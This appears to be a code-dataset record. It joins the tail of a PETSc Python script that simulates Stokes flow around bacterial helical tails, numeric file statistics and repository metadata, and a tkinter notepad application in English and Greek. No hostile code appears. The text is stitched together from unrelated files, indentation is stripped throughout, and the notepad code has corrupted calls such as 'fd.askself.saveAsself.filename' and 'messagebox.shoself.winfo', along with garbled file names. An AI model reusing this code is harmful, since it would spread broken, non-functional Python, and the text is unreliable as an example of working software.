uw_Base_list, sumFT_Base_list = do_solve_base_flow(basei, problem, tail_comp,
uw_Base_list, sumFT_Base_list)
return True
def main_fun_E_dualMirror(**main_kwargs):
OptDB = PETSc.Options()
fileHandle = OptDB.getString('f', 'helix_strain_rate')
OptDB.setValue('f', fileHandle)
main_kwargs['fileHandle'] = fileHandle
problem_kwargs = get_problem_kwargs(**main_kwargs)
problem_kwargs['basei'] = 1
hlx_ini_rot_theta = problem_kwargs['hlx_ini_rot_theta']
if not problem_kwargs['restart']:
print_case_info(**problem_kwargs)
# PETSc.Sys.Print(problem_kwargs)
problem_kwargs0 = problem_kwargs.copy()
tail_obj_list0 = create_ecoli_tail(moveh=np.zeros(3), **problem_kwargs0)
tail_comp0 = sf.ForceFreeComposite(center=np.zeros(3), norm=np.array((0, 0, 1)),
name='tail_comp0')
for tobj in tail_obj_list0:
tobj.node_rotation(norm=np.array([0, 1, 0]), theta=hlx_ini_rot_theta)
# tobj.node_rotation(norm=np.array([0, 0, 1]), theta=np.pi)
tail_comp0.add_obj(obj=tobj, rel_U=np.zeros(6))
tcenter0 = tail_comp0.get_center()
lt0 = problem_kwargs0['ph'] * problem_kwargs0['ch']
tail_comp0.move(np.array((0, 0, lt0 / 2 * 1.1)))
# tail_comp0.show_u_nodes(' ')
problem_kwargs1 = problem_kwargs.copy()
problem_kwargs1['left_hand'] = not problem_kwargs1['left_hand']
tail_obj_list1 = create_ecoli_tail(moveh=np.zeros(3), **problem_kwargs1)
tail_comp1 = sf.ForceFreeComposite(center=np.zeros(3), norm=np.array((0, 0, 1)),
name='tail_comp1')
for tobj in tail_obj_list1:
tobj.node_rotation(norm=np.array([0, 1, 0]), theta=hlx_ini_rot_theta)
# tobj.node_rotation(norm=np.array([0, 0, 1]), theta=np.pi)
tail_comp1.add_obj(obj=tobj, rel_U=np.zeros(6))
tcenter1 = tail_comp1.get_center()
lt1 = problem_kwargs0['ph'] * problem_kwargs0['ch']
tail_comp1.move(np.array((0, 0, -lt1 / 2 * 1.1)))
# tail_comp1.show_u_nodes(' ')
tail_comp = sf.ForceFreeComposite(center=np.zeros(3), norm=np.array((0, 0, 1)),
name='tail_comp')
for t1 in (tail_comp0, tail_comp1):
for tobj in t1.get_obj_list():
tail_comp.add_obj(obj=tobj, rel_U=np.zeros(6))
tobj_dual = tobj.copy()
for tgeo in (tobj_dual.get_u_geo(), tobj_dual.get_f_geo()):
tnodes = tgeo.get_nodes()
tnodes[:, 0] = tcenter0[0] * 2 - tnodes[:, 0]
tgeo.set_nodes(tnodes, deltalength=tgeo.get_deltaLength())
tobj_dual.move(np.array((3 * problem_kwargs0['rh11'], 0, 0)))
tail_comp.add_obj(obj=tobj_dual, rel_U=np.zeros(6))
tail_comp.move(np.array((-1.5 * problem_kwargs0['rh11'], 0, 0)))
# tail_comp.show_u_nodes(' ')
problem = sf.StrainRateBaseForceFreeProblem(**problem_kwargs)
problem.add_obj(tail_comp)
problem.print_info()
problem.create_matrix()
uw_Base_list = []
sumFT_Base_list = []
# passive cases
for basei in (1, 2, 3, 4, 5,):
uw_Base_list, sumFT_Base_list = do_solve_base_flow(basei, problem, tail_comp,
uw_Base_list, sumFT_Base_list)
return True
def main_fun_rote(**main_kwargs):
err_msg = 'force free part do not finish yet'
assert 1 == 2, err_msg
OptDB = PETSc.Options()
fileHandle = OptDB.getString('f', 'helix_strain_rate')
OptDB.setValue('f', fileHandle)
main_kwargs['fileHandle'] = fileHandle
field_range = np.array([[-3, -3, -3], [3, 3, 3]])
n_grid = np.array([1, 1, 1]) * OptDB.getInt('n_grid', 10)
main_kwargs['field_range'] = field_range
main_kwargs['n_grid'] = n_grid
main_kwargs['region_type'] = 'rectangle'
problem_kwargs = get_problem_kwargs(**main_kwargs)
matrix_method = problem_kwargs['matrix_method']
# pickProblem = problem_kwargs['pickProblem']
# fileHandle = problem_kwargs['fileHandle']
# save_vtk = problem_kwargs['save_vtk']
problem_kwargs['basei'] = 1
hlx_ini_rot_theta = problem_kwargs['hlx_ini_rot_theta']
assert matrix_method == 'pf_selfRepeat'
if not problem_kwargs['restart']:
print_case_info(**problem_kwargs)
tail_obj_list = create_ecoli_tail(moveh=np.zeros(3), **problem_kwargs)
# PETSc.Sys.Print(problem_kwargs)
tail_comp = sf.ForceFreeComposite(center=np.zeros(3), norm=np.array((0, 0, 1)),
name='tail_comp')
tobj = tail_obj_list[0]
tobj.node_rotation(norm=np.array([0, 1, 0]), theta=hlx_ini_rot_theta)
# tobj.node_rotation(norm=np.array([0, 0, 1]), theta=np.pi)
tail_comp.add_obj(obj=tobj, rel_U=np.zeros(6))
problem = sf.StrainRateBaseForceFreeProblem(**problem_kwargs)
problem.add_obj(tail_comp)
problem.print_info()
problem.create_matrix()
uw_Base_list = []
sumFT_Base_list = []
# passive cases
for basei in (0, 1, 2, 3, 4, 5, 6, 7, 8):
uw_Base_list, sumFT_Base_list = do_solve_base_flow(basei, problem, tail_comp,
uw_Base_list, sumFT_Base_list)
# active case
tail_comp.set_rel_U_list([np.zeros(6), ])
basei = 9
uw_Base_list, sumFT_Base_list = do_solve_base_flow(basei, problem, tail_comp,
uw_Base_list, sumFT_Base_list)
pickle_dict = {'problem_kwargs': problem_kwargs,
'u_nodes': tail_comp.get_u_nodes(),
'f_nodes': tail_comp.get_f_nodes(),
'uw_Base_list': uw_Base_list,
'sumFT_Base_list': sumFT_Base_list, }
with open('%s.pickle' % fileHandle, 'wb') as handle:
pickle.dump(pickle_dict, handle, protocol=4)
PETSc.Sys.Print('save table_data to %s.pickle' % fileHandle)
return True
def main_fun_iter(**main_kwargs):
OptDB = PETSc.Options()
fileHandle = OptDB.getString('f', 'helix_strain_rate')
OptDB.setValue('f', fileHandle)
main_kwargs['fileHandle'] = fileHandle
field_range = np.array([[-3, -3, -3], [3, 3, 3]])
n_grid = np.array([1, 1, 1]) * OptDB.getInt('n_grid', 10)
main_kwargs['field_range'] = field_range
main_kwargs['n_grid'] = n_grid
main_kwargs['region_type'] = 'rectangle'
problem_kwargs = get_problem_kwargs(**main_kwargs)
# matrix_method = problem_kwargs['matrix_method']
# pickProblem = problem_kwargs['pickProblem']
# fileHandle = problem_kwargs['fileHandle']
# save_vtk = problem_kwargs['save_vtk']
problem_kwargs['basei'] = 1
hlx_ini_rot_theta = problem_kwargs['hlx_ini_rot_theta']
if not problem_kwargs['restart']:
print_case_info(**problem_kwargs)
tail_obj_list = create_ecoli_tail(moveh=np.zeros(3), **problem_kwargs)
tail_comp = sf.ForceFreeComposite(center=np.zeros(3), norm=np.array((0, 0, 1)),
name='tail_comp')
for tobj in tail_obj_list:
tobj.node_rotation(norm=np.array([0, 1, 0]), theta=hlx_ini_rot_theta)
tail_comp.add_obj(obj=tobj, rel_U=np.zeros(6))
problem = sf.StrainRateBaseForceFreeIterateProblem(**problem_kwargs)
problem.add_obj(tail_comp)
problem.set_iterate_comp(tail_comp)
problem.print_info()
problem.create_matrix()
uw_Base_list = []
sumFT_Base_list = []
# passive cases
for basei in (0, 1, 2, 3, 4, 5, 6, 7, 8):
uw_Base_list, sumFT_Base_list = do_solve_base_flow_iter(basei, problem, tail_comp,
uw_Base_list, sumFT_Base_list)
# active case
tail_comp.set_rel_U_list([np.zeros(6), ] * len(tail_obj_list))
basei = 9
uw_Base_list, sumFT_Base_list = do_solve_base_flow_iter(basei, problem, tail_comp,
uw_Base_list, sumFT_Base_list)
pickle_dict = {'problem_kwargs': problem_kwargs,
'u_nodes': tail_comp.get_u_nodes(),
'f_nodes': tail_comp.get_f_nodes(),
'uw_Base_list': uw_Base_list,
'sumFT_Base_list': sumFT_Base_list, }
with open('%s.pickle' % fileHandle, 'wb') as handle:
pickle.dump(pickle_dict, handle, protocol=4)
PETSc.Sys.Print('save table_data to %s.pickle' % fileHandle)
# print_single_ecoli_force_result(problem, part='tail', prefix='tran', **problem_kwargs)
return True
def main_fun_SLB_E(**main_kwargs):
OptDB = PETSc.Options()
fileHandle = OptDB.getString('f', 'helix_strain_rate')
OptDB.setValue('f', fileHandle)
main_kwargs['fileHandle'] = fileHandle
problem_kwargs = get_problem_kwargs(**main_kwargs)
problem_kwargs['basei'] = 1
hlx_ini_rot_theta = problem_kwargs['hlx_ini_rot_theta']
ph = problem_kwargs['ph']
ch = problem_kwargs['ch']
rt1 = problem_kwargs['rh11']
rt2 = problem_kwargs['rh2']
n_sgm = OptDB.getInt('n_sgm', 10)
n_segment = int(np.ceil(n_sgm * ch))
n_hlx = problem_kwargs['n_tail']
matrix_method = problem_kwargs['matrix_method']
problem_kwargs['basei'] = 1
# slb_epsabs = OptDB.getReal('slb_epsabs', 1e-200)
# slb_epsrel = OptDB.getReal('slb_epsrel', 1e-8)
# slb_limit = OptDB.getReal('slb_limit', 10000)
if not problem_kwargs['restart']:
print_case_info(**problem_kwargs)
tail_comp = sf.ForceFreeComposite(center=np.zeros(3), norm=np.array((0, 0, 1)),
name='tail_comp')
check_nth = matrix_method == 'lighthill_slb'
slb_geo_fun = slb_helix if matrix_method == 'lighthill_slb' else Johnson_helix
for i0, theta0 in enumerate(np.linspace(0, 2 * np.pi, n_hlx, endpoint=False)):
hlx1_geo = slb_geo_fun(ph, ch, rt1, rt2, theta0=theta0)
hlx1_geo.create_nSegment(n_segment, check_nth=check_nth)
hlx1_obj = sf.StokesFlowObj()
obj_name = 'helix%d' % i0
hlx1_obj.set_data(hlx1_geo, hlx1_geo, name=obj_name)
hlx1_obj.node_rotation(norm=np.array([0, 1, 0]), theta=hlx_ini_rot_theta)
tail_comp.add_obj(hlx1_obj, rel_U=np.zeros(6))
problem = slb.StrainRateBaseForceFreeProblem(**problem_kwargs)
problem.add_obj(tail_comp)
problem.print_info()
problem.create_matrix()
uw_Base_list = []
sumFT_Base_list = []
# passive cases
for basei in (1, 2, 3, 4, 5,):
uw_Base_list, sumFT_Base_list = do_solve_base_flow(basei, problem, tail_comp,
uw_Base_list, sumFT_Base_list)
return True
if __name__ == '__main__':
OptDB = PETSc.Options()
if OptDB.getBool('main_fun_iter', False):
OptDB.setValue('main_fun', False)
main_fun_iter()
if OptDB.getBool('main_fun_rote', False):
OptDB.setValue('main_fun', False)
main_fun_rote()
if OptDB.getBool('main_fun_E', False):
OptDB.setValue('main_fun', False)
main_fun_E()
if OptDB.getBool('main_fun_E_mirror', False):
OptDB.setValue('main_fun', False)
main_fun_E_mirror()
if OptDB.getBool('main_fun_E_dualMirror', False):
OptDB.setValue('main_fun', False)
main_fun_E_dualMirror()
if OptDB.getBool('main_fun_SLB_E', False):
OptDB.setValue('main_fun', False)
main_fun_SLB_E()
if OptDB.getBool('main_fun', True):
main_fun()
| 43.708333 | 98 | 0.61816 | 2,855 | 20,980 | 4.207005 | 0.073205 | 0.103905 | 0.03247 | 0.052369 | 0.864041 | 0.843893 | 0.826326 | 0.815835 | 0.806261 | 0.793523 | 0 | 0.024128 | 0.259199 | 20,980 | 479 | 99 | 43.799582 | 0.748681 | 0.087035 | 0 | 0.769022 | 0 | 0 | 0.074656 | 0.001099 | 0 | 0 | 0 | 0 | 0.005435 | 1 | 0.029891 | false | 0 | 0.027174 | 0 | 0.086957 | 0.043478 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
8f30af0487fe9af577c38e3754240accf389365b | 18,091 | py | Python | notepy.py | nikosnikitas/notepy-by-nikosnikitas | c590ae4122a8e6e1665014248c1ce1f515b9398a | [
"MIT"
] | null | null | null | notepy.py | nikosnikitas/notepy-by-nikosnikitas | c590ae4122a8e6e1665014248c1ce1f515b9398a | [
"MIT"
] | null | null | null | notepy.py | nikosnikitas/notepy-by-nikosnikitas | c590ae4122a8e6e1665014248c1ce1f515b9398a | [
"MIT"
] | null | null | null | from tkinter import *
from tkinter import messagebox
from tkinter import filedialog as fd
from tkinter import ttk
import os
import webbrowser
#--- making the user interface using tkinter ---
#--- using the Notepy class we create an app object which runs when the program starts ---
#--- the Notepy class is an extensions of Tk class ---
class Notepy(Tk):
def __init__(self):
#--- the selected widget ---
self.selectedWidget = None
#--- the opened file name ---
self.filename = None
self.checkOpenF()
#--- the self.window ---
self.win = Tk()
self.win.geometry("640x480")
self.win.resizable(True, True)
#--- the menu self.bar ---
self.bar = Menu(self.win)
#--- the file menu ---
self.fmenu = Menu(self.bar, tearoff = 0)
self.fmenu.add_command(label="{:<16}".format("New"), accelerator="Ctrl+N",command=self.makeNew)
self.fmenu.add_command(label="{:<16}".format("Open"), accelerator="Ctrl+O", command=self.openFile)
self.fmenu.add_command(label="{:<16}".format("Save"), accelerator="Ctrl+S", command=self.saveFile)
self.fmenu.add_command(label="{:<16}".format("Save as"), accelerator="Alt+S", command=self.saveAs)
self.fmenu.add_separator()
self.fmenu.add_command(label="{:<16}".format("Exit"), accelerator="Alt + F4", command=self.win.destroy)
#--- the edit menu ---
self.emenu = Menu(self.bar, tearoff = 0)
self.emenu.add_command(label="{:<16}".format("Cut"), accelerator="Ctrl + X", command=self.cutText)
self.emenu.add_command(label="{:<16}".format("Copy"), accelerator="Ctrl + C", command=self.copyText)
self.emenu.add_command(label="{:<16}".format("Paste"),accelerator="Ctrl + V", command=self.pasteText)
self.emenu.add_separator()
self.emenu.add_command(label="{:<16}".format("Select All"),accelerator="Ctrl + A", command=self.selectAllText)
#--- the help menu ---
self.hmenu = Menu(self.bar, tearoff = 0)
self.hmenu.add_command(label="{:<16}".format("Documentation"), accelerator="F11", command=self.showDoc)
self.hmenu.add_separator()
self.hmenu.add_command(label="{:<16}".format("Credits"), accelerator="F12", command=self.showCredits)
self.hmenu.bind("F11", self.showDoc)
self.hmenu.bind("F12", self.showCredits)
#--- theme menu ---
self.tmenu = Menu(self.bar, tearoff=0)
#--- theme selection ---
self.tmenu.add_command(label="{:<16}".format("Switch Light/Dark Theme"), accelerator="F6", command=self.changeTheme)
#--- right click menu ---
self.rclkmenu = Menu(self.win, tearoff=0)
#--- string formatting to make the text in right context menu have a distance ---
self.rclkmenu.add_command(label="{:<16}".format("Cut"), accelerator="Ctrl+X", command=self.cutText)
self.rclkmenu.add_command(label="{:<16}".format("Copy"), accelerator="Ctrl+C", command=self.copyText)
self.rclkmenu.add_command(label="{:<16}".format("Paste"), accelerator="Ctrl+V", command=self.pasteText)
self.rclkmenu.add_separator()
self.rclkmenu.add_command(label="{:<16} {:>32}".format("Select All","Ctrl + A"), underline=4, accelerator="Ctrl+A", command=self.selectAllText)
self.bar.add_cascade(label="File", menu=self.fmenu)
self.bar.add_cascade(label="Edit", menu=self.emenu)
self.bar.add_cascade(label="Help", menu=self.hmenu)
self.bar.add_cascade(label="Options", menu=self.tmenu)
#--- vertical and horizontal scrollbars ---
self.vscrollbar = Scrollbar(self.win, orient="vertical")
self.vscrollbar.pack(side=RIGHT, fill=Y)
self.hscrollbar = Scrollbar(self.win, orient="horizontal")
self.hscrollbar.pack(side=BOTTOM, fill=X)
#--- making the text ---
self.txt = Text(self.win, bg="white", fg="black", wrap=WORD, width=640, height=480, insertbackground="black", font = ("Sans-Serif", "16"), yscrollcommand = self.vscrollbar.set, xscrollcommand = self.hscrollbar.set)
self.txt.bind("<Button-3>", self.showRightClickMenu)
self.txt.bind("<Control-A>", self.selectAllText)
self.txt.pack()
#--- configuring the scrollbars ---
self.vscrollbar.config(command=self.txt.yview)
self.hscrollbar.config(command=self.txt.xview)
self.win.title("{:<16}".format("Notepy - The Python-made Notepad by nikosnikitas"))
self.win.config(menu=self.bar)
self.win.mainloop()
#--- on right click of the mouse we show a menu to the user ---
def showRightClickMenu(self, event):
self.rclkmenu.post(event.x_root, event.y_root)
self.selectedWidget = event.widget
#--- cuts text to clipboard ---
def cutText(self, event=None):
try:
self.txt.selection_get()
self.txt.event_generate("<<Cut>>")
except:
messagebox.showwarning("Warning","Please select the text first.")
#--- copies the selected text to clipboard ---
def copyText(self, event=None):
try:
self.txt.selection_get()
self.txt.event_generate("<<Copy>>")
except:
messagebox.showwarning("Warning","Please select the text first.")
#--- pastes text from clipboard to the editor ---
def pasteText(self, event=None):
self.txt.event_generate("<<Paste>>")
#--- selects all text in the editor ---
def selectAllText(self, event=None):
#--- adding a tag to make a selected text ---
self.txt.tag_add('sel', '1.0', 'end')
return "break"
#--- shows documentation ---
def showDoc(self):
docwin = Tk()
docwin.title("Notepy Documentation")
docwin.geometry("640x480")
lbl = Label(docwin, text="Notepy - The Python-made Notepad")
lbl.pack()
details = Label(docwin, text="Made with ♥ in Python 3\n You may use this as your notepad.\nWith basic functionalities like Cut, Copy, Paste.\nYou can create and edit text files with ease.\n HOW TO USE\n File - Here you can:\n 1. NEW - open a new Notepy\n OPEN a new file\n SAVE the current file\n SAVE AS a file with a different name\n EXIT the application.\n Edit - here you can: CUT text (after selecting it)\nCOPY text (after selecting it)\n PASTE text from your clipboard.\n SELECT ALL text.\n Help - here you can:\n DOCUMENTATION - read the application's documentation and get help.\n CREDITS - Learn about the application's developer and contact him.\n Options - here you can:\n SWITCH LIGHT/DARK THEME - Change the theme from light to dark and vice versa.")
details.pack()
docwin.mainloop()
#--- open a URL in the browser ---
def openUrl(self, url2open):
webbrowser.open_new(url2open)
#--- shows credits ---
def showCredits(self):
credwin = Tk()
credwin.title("Notepy Credits")
credwin.geometry("420x200")
lbl = Label(credwin, text="Notepy - The Python-made Notepad")
lbl.pack()
ghLinkLbl = Label(credwin, text="You may find the code of this project and more at my GitHub: ")
ghLinkLbl.pack()
ghLink = Label(credwin, text="nikosnikitas", fg="blue", cursor="hand2")
ghLink.pack()
ghLink.bind(
"<Button-1>",
lambda x: self.openUrl("https://github.com/nikosnikitas")
)
ldLinkLbl = Label(credwin, text="Let's connect on Linkedin")
ldLinkLbl.pack()
ldLink = Label(credwin, text="Nikos-Nikitas", fg="blue", cursor="hand2")
ldLink.pack()
ldLink.bind(
"<Button-1>",
lambda x: self.openUrl("https://www.linkedin.com/in/nikos-nikitas-g-0a81931b5")
)
credits = Label(credwin, text="Made with ♥ by Nikos-Nikitas")
credits.pack()
credwin.mainloop()
#--- make a new file ---
def makeNew(self):
os.system("python main.py")
#--- open a file ---
def openFile(self):
self.txt.delete("1.0", END)
ft = [("Text Files", "*.txt"),("Python Files","*.py"), ("All Files","*")]
fn = fd.Open(filetypes=ft)
self.filename = fn
files = fn.show()
if files != "":
contents = self.readF(files)
self.txt.insert(END, contents)
#--- read file ---
def readF(self,f):
flnm = open(f, "r")
fcontent = flnm.read()
self.filename = flnm
return fcontent
#--- save current file --- //ToDo: implement this functionality
def saveFile(self):
try:
self.saveFile = open("New File.self.txt","w")
self.saveFile.write(self.txt.get("1.0", "end"))
self.saveFile.close()
except:
messagebox.shoself.winfo("Hey!","No Open File")
#--- save as a different file ---
def saveAs(self):
fl = fd.askself.saveAsself.filename(defaultextension=".self.txt")
if fl is None:
return
whatToSave = self.txt.get("1.0","end")
with open(fl, "w") as sf:
sf.write(whatToSave)
sf.close()
#--- checks for open file and opens one ---
def checkOpenF(self):
filecount = 0
if self.filename == None:
self.filename = open("New File.txt","w")
return str(self.filename.name)
if self.filename == "New File.txt":
filecount += 1
self.filename = open(f"New File.self.txt{filecount}","w")
return str(self.filename.name)
#--- get theme and change theme ---
def changeTheme(self):
if self.txt["bg"] == "white":
self.txt.config(bg="black", fg="white", insertbackground="white")
self.txt.update()
else:
self.txt.config(bg="white", fg="black", insertbackground="black")
self.txt.update()
if self.bar["bg"] == "white":
self.bar.config(bg="black", fg="white")
self.bar.update()
else:
self.bar.config(bg="white", fg="black")
self.bar.update()
class NotepyGr(Tk):
def __init__(self):
#--- the selected widget ---
self.selectedWidget = None
#--- the opened file name ---
self.filename = None
self.checkOpenF()
#--- the self.window ---
self.win = Tk()
self.win.geometry("640x480")
self.win.resizable(True, True)
#--- the menu self.bar ---
self.bar = Menu(self.win)
#--- the file menu ---
self.fmenu = Menu(self.bar, tearoff = 0)
self.fmenu.add_command(label="{:<16}".format("Νέο"), accelerator="Ctrl+N",command=self.makeNew)
self.fmenu.add_command(label="{:<16}".format("Άνοιγμα"), accelerator="Ctrl+O", command=self.openFile)
self.fmenu.add_command(label="{:<16}".format("Αποθήκευση"), accelerator="Ctrl+S", command=self.saveFile)
self.fmenu.add_command(label="{:<16}".format("Αποθήκευση ως"), accelerator="Alt+S", command=self.saveAs)
self.fmenu.add_separator()
self.fmenu.add_command(label="{:<16}".format("Έξοδος"), accelerator="Alt + F4", command=self.win.destroy)
#--- the edit menu ---
self.emenu = Menu(self.bar, tearoff = 0)
self.emenu.add_command(label="{:<16}".format("Αποκοπή"), accelerator="Ctrl + X", command=self.cutText)
self.emenu.add_command(label="{:<16}".format("Αντιγραφή"), accelerator="Ctrl + C", command=self.copyText)
self.emenu.add_command(label="{:<16}".format("Επικόλληση"),accelerator="Ctrl + V", command=self.pasteText)
self.emenu.add_separator()
self.emenu.add_command(label="{:<16}".format("Επιλογή όλων"),accelerator="Ctrl + A", command=self.selectAllText)
#--- the help menu ---
self.hmenu = Menu(self.bar, tearoff = 0)
self.hmenu.add_command(label="{:<16}".format("Εγχειρίδιο"), accelerator="F11", command=self.showDoc)
self.hmenu.add_separator()
self.hmenu.add_command(label="{:<16}".format("Ευχαριστίες"), accelerator="F12", command=self.showCredits)
self.hmenu.bind("F11", self.showDoc)
self.hmenu.bind("F12", self.showCredits)
#--- theme menu ---
self.tmenu = Menu(self.bar, tearoff=0)
#--- theme selection ---
self.tmenu.add_command(label="{:<16}".format("Αλλαγή Θέματος Φωτεινό/Σκοτεινό"), accelerator="F6", command=self.changeTheme)
#--- right click menu ---
self.rclkmenu = Menu(self.win, tearoff=0)
#--- string formatting to make the text in right context menu have a distance ---
self.rclkmenu.add_command(label="{:<16}".format("Αποκοπή"), accelerator="Ctrl+X", command=self.cutText)
self.rclkmenu.add_command(label="{:<16}".format("Αντιγραφή"), accelerator="Ctrl+C", command=self.copyText)
self.rclkmenu.add_command(label="{:<16}".format("Επικόλληση"), accelerator="Ctrl+V", command=self.pasteText)
self.rclkmenu.add_separator()
self.rclkmenu.add_command(label="{:<16} {:>32}".format("Επιλογή όλων","Ctrl + A"), underline=4, accelerator="Ctrl+A", command=self.selectAllText)
self.bar.add_cascade(label="Αρχείο", menu=self.fmenu)
self.bar.add_cascade(label="Επεξεργασία", menu=self.emenu)
self.bar.add_cascade(label="Βοήθεια", menu=self.hmenu)
self.bar.add_cascade(label="Ρυθμίσεις", menu=self.tmenu)
#--- vertical and horizontal scrollbars ---
self.vscrollbar = Scrollbar(self.win, orient="vertical")
self.vscrollbar.pack(side=RIGHT, fill=Y)
self.hscrollbar = Scrollbar(self.win, orient="horizontal")
self.hscrollbar.pack(side=BOTTOM, fill=X)
#--- making the text ---
self.txt = Text(self.win, bg="white", fg="black", wrap=WORD, width=640, height=480, insertbackground="black", font = ("Sans-Serif", "16"), yscrollcommand = self.vscrollbar.set, xscrollcommand = self.hscrollbar.set)
self.txt.bind("<Button-3>", self.showRightClickMenu)
self.txt.bind("<Control-A>", self.selectAllText)
self.txt.pack()
#--- configuring the scrollbars ---
self.vscrollbar.config(command=self.txt.yview)
self.hscrollbar.config(command=self.txt.xview)
self.win.title("{:<16}".format("Notepy - Το Σημειωματάριο σε Python από τον Νίκο-Νικήτα (GitHub: nikosnikitas)"))
self.win.config(menu=self.bar)
self.win.mainloop()
#--- on right click of the mouse we show a menu to the user ---
def showRightClickMenu(self, event):
self.rclkmenu.post(event.x_root, event.y_root)
self.selectedWidget = event.widget
#--- cuts text to clipboard ---
def cutText(self, event=None):
try:
self.txt.selection_get()
self.txt.event_generate("<<Cut>>")
except:
messagebox.showwarning("Ειδοποίηση","Επιλέξτε το κείμενο πρώτα.")
#--- copies the selected text to clipboard ---
def copyText(self, event=None):
try:
self.txt.selection_get()
self.txt.event_generate("<<Copy>>")
except:
messagebox.showwarning("Ειδοποίηση","Επιλέξτε το κείμενο πρώτα.")
#--- pastes text from clipboard to the editor ---
def pasteText(self, event=None):
self.txt.event_generate("<<Paste>>")
#--- selects all text in the editor ---
def selectAllText(self, event=None):
#--- adding a tag to make a selected text ---
self.txt.tag_add('sel', '1.0', 'end')
return "break"
#--- shows documentation ---
def showDoc(self):
docwin = Tk()
docwin.title("Εγχειρίδιο του Notepy")
docwin.geometry("640x480")
lbl = Label(docwin, text="Notepy - Το Σημειωματάριο σε Python")
lbl.pack()
details = Label(docwin, text="""Φτιαγμένο με ♥ σε Python 3\n Μπορείτε να το χρησιμοποιήσετε ως το σημειωματάριό σας.\nΜε δυο θέματα να επιλέξετε, και βασικές επιλογές επεξεργασίας αρχείων κειμένου και Python.\nΜπορείτε εύκολα να επεξεργαστείτε και να δημιουργήσετε αρχεία.\n Αρχείο \n NEO - Ανοίγει νέο κενό σημειωματάριο.\n ΑΝΟΙΓΜΑ - Ανοίγει ένα αρχείο από τον υπολογιστή.\n ΑΠΟΘΗΚΕΥΣΗ - Αποθηκεύει το τρέχον αρχείο.\n ΑΠΟΘΗΚΕΥΣΗ ΩΣ διαφορετικό αρχείο.\n ΕΞΟΔΟΣ από το πρόγραμμα.\n Επεξεργασία\n ΑΠΟΚΟΠΗ του επιλεγμένου κειμένου.\nΑΝΤΙΓΡΑΦΗ του επιλεγμένου κειμένου.\nΕΠΙΚΟΛΛΗΣΗ κειμένου από το πρόχειρο\n ΕΠΙΛΟΓΗ ΟΛΟΥ του κειμένου\n Βοήθεια\n ΕΓΧΕΙΡΙΔΙΟ - Οδηγίες χρήσης του προγράμματος και γενικές πληροφορίες.\nΕΥΧΑΡΙΣΤΙΕΣ - Σχετικά με τον προγραμματιστή που ανέπτυξε αυτή την εφαρμογή και στοιχεία επικοινωνίας.\n Ρυθμίσεις\n ΑΛΛΑΓΗ ΘΕΜΑΤΟΣ Φωτεινό/Σκοτεινό - Αλλάζει το θέμα του προγράμματος και του κειμένου από φωτεινό σε σκοτεινό και αντίστροφα.""")
details.pack()
docwin.mainloop()
#--- open a URL in the browser ---
def openUrl(self, url2open):
webbrowser.open_new(url2open)
#--- shows credits ---
def showCredits(self):
credwin = Tk()
credwin.title("Ευχαριστίες για το Notepy")
credwin.geometry("360x180")
lbl = Label(credwin, text="Notepy - Το Σημειωματάριο σε Python")
lbl.pack()
ghLinkLbl = Label(credwin, text="Βρείτε τον κώδικα αυτού του προγράμματος και πολλών άλλων στο GitHub μου: ")
ghLinkLbl.pack()
ghLink = Label(credwin, text="nikosnikitas", fg="blue", cursor="hand2")
ghLink.pack()
ghLink.bind(
"<Button-1>",
lambda x: self.openUrl("https://github.com/nikosnikitas")
)
ldLinkLbl = Label(credwin, text="Βρείτε με στο Linkedin")
ldLinkLbl.pack()
ldLink = Label(credwin, text="Nikos-Nikitas", fg="blue", cursor="hand2")
ldLink.pack()
ldLink.bind(
"<Button-1>",
lambda x: self.openUrl("https://www.linkedin.com/in/nikos-nikitas-g-0a81931b5")
)
credits = Label(credwin, text="Φτιαγμένο με ♥ από τον Νίκο-Νικήτα.")
credits.pack()
credwin.mainloop()
#--- make a new file ---
def makeNew(self):
os.system("python main.py")
#--- open a file ---
def openFile(self):
self.txt.delete("1.0", END)
ft = [("Αρχεία Κειμένου", "*self.txt"),("Αρχεία Python","*.py"), ("Όλα τα Αρχεία","*")]
fn = fd.Open(filetypes=ft)
self.filename = fn
files = fn.show()
if files != "":
contents = self.readF(files)
self.txt.insert(END, contents)
#--- read file ---
def readF(self,f):
flnm = open(f, "r")
fcontent = flnm.read()
self.filename = flnm
return fcontent
#--- save current file --- //ToDo: implement this functionality
def saveFile(self):
try:
self.saveFile = open("New File.self.txt","w")
self.saveFile.write(self.txt.get("1.0", "end"))
self.saveFile.close()
except:
messagebox.shoself.winfo("Hey!","No Open File")
#--- save as a different file ---
def saveAs(self):
fl = fd.askself.saveAsself.filename(defaultextension=".self.txt")
if fl is None:
return
whatToSave = self.txt.get("1.0","end")
with open(fl, "w") as sf:
sf.write(whatToSave)
sf.close()
#--- checks for open file and opens one ---
def checkOpenF(self):
filecount = 0
if self.filename == None:
self.filename = open("New File.txt","w")
return str(self.filename.name)
if self.filename == "New File.txt":
filecount += 1
self.filename = open(f"New File.self.txt{filecount}","w")
return str(self.filename.name)
#--- get theme and change theme ---
def changeTheme(self):
if self.txt["bg"] == "white":
self.txt.config(bg="black", fg="white", insertbackground="white")
self.txt.update()
else:
self.txt.config(bg="white", fg="black", insertbackground="black")
self.txt.update()
if self.bar["bg"] == "white":
self.bar.config(bg="black", fg="white")
self.bar.update()
else:
self.bar.config(bg="white", fg="black")
self.bar.update() | 35.265107 | 961 | 0.685368 | 2,518 | 18,091 | 4.896743 | 0.163622 | 0.027818 | 0.038929 | 0.04412 | 0.820195 | 0.814274 | 0.80665 | 0.80665 | 0.76399 | 0.758962 | 0 | 0.013326 | 0.141396 | 18,091 | 513 | 962 | 35.265107 | 0.780146 | 0.119783 | 0 | 0.775758 | 0 | 0.006061 | 0.263035 | 0.005926 | 0 | 0 | 0 | 0.001949 | 0 | 0 | null | null | 0 | 0.018182 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
